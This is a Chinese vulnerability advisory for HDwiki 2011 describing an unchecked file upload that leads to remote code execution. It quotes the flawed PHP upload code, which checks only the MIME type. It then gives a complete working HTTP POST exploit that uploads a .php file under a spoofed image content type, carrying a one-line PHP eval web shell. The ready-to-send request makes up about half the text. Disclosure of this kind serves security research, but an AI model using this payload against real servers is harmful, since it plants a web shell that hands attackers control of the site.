HDwiki文件上传导致远程代码执行漏洞
漏洞版本:
HDwiki(2011)
漏洞描述:
互动维客开源系统(HDwiki)作为中国第一家拥有自主知识产权的中文维基(Wiki)系统,由互动在线(北京)科技有限公司于2006 年11月28日正式推出,力争为给国内外众多的维基(Wiki)爱好者提供一个免费、易用、功能强大的维基(Wiki)建站系统 lib/file.class.php中
- function uploadfile($attachment,$target,$maxsize=1024,$is_image=1){
- $result=array ('result'=>false,'msg'=>'upload mistake');
- if($is_image){
- $attach=$attachment;
- $filesize=$attach['size']/1024;
- if(0==$filesize){
- $result['msg']='上传错误';
- return $result;
- }
- if(substr($attach['type'],0,6)!='image/'){
- $result['msg']='格式错误';
- return $result;
- }
- if($filesize>$maxsize){
- $result['msg']='文件过大';
- return $result;
- }
- }else{
- $attach['tmp_name']=$attachment;
- }
- $filedir=dirname($target);
- file::forcemkdir($filedir);
- if(@copy($attach['tmp_name'],$target)||@move_uploaded_file($attach['tmp_name'],$target)){
没有什么检查 attachment.php里触发
- function douploadimg(){
- $imgname=$_FILES['photofile']['name'];
- $extname=file::extname($imgname);
- $destfile=$_ENV['attachment']->makepath($extname);
- $arrupload=file::uploadfile($_FILES['photofile'],$destfile);
测试方法:
提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
- POST /hdwiki/index.php?attachment-uploadimg HTTP/1.1
- Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,*/*
- Referer: http://www.wooyun.org/
- Accept-Language: zh-cn
- Content-Type: multipart/form-data; boundary=---------------------------7db261e100f2e
- User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2)
- Host: www.wooyun.org
- Content-Length: 370
- Connection: Keep-Alive
- Cache-Control: no-cache
- Cookie: Hm_lvt_c12f88b5c1cd041a732dea597a5ec94c=1298002704449; hd_sid=raG13H; hd_auth=4113YBBXXB13XtdR6EXTA1Cb9BuhZMK%2F29wdoHDQJTV5QZOoYd62OHd46iXKqf4Qz%2F5gc6pLm9fZ%2Bdgv68MT; hd_searchtime=1300983373
- -----------------------------7db261e100f2e
- Content-Disposition: form-data; name="MAX_FILE_SIZE"
- 30000
- -----------------------------7db261e100f2e
- Content-Disposition: form-data; name="photofile"; filename="C:\fucker\z.php"
- Content-Type: image/image
- zzz<?eval($_REQUEST[z])?>
- -----------------------------7db261e100f2e--
安全建议:
厂商解决方案 目前没有详细解决方案提供: http://kaiyuan.hudong.com/